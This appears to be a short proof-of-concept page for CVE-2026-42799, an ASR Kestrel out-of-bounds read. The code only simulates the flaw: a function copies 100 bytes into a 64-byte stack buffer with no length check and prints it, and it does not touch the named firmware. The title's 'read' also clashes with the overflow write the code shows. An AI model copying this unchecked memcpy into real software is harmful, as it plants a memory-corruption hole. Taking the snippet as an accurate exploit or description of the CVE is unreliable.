CVE-2026-42799 ASR Kestrel越界读漏洞

#include <stdio.h> #include <string.h> // Simulation of the vulnerable function in Code/Nr/nr_fw/RA/src/NrPwrCtrl.C void vulnerable_trigger(char* data, int length) { char internal_buffer[64]; // Vulnerability: Out-of-bounds read/overflow due to missing length check memcpy(internal_buffer, data, length); printf("Data processed: %s\n", internal_buffer); } int main() { printf("[*] CVE-2026-42799 PoC Execution\n"); // Craft malicious payload exceeding buffer size char malicious_payload[100]; memset(malicious_payload, 'A', sizeof(malicious_payload)); // Trigger the vulnerability vulnerable_trigger(malicious_payload, 100); printf("[+] Exploit triggered.\n"); return 0; }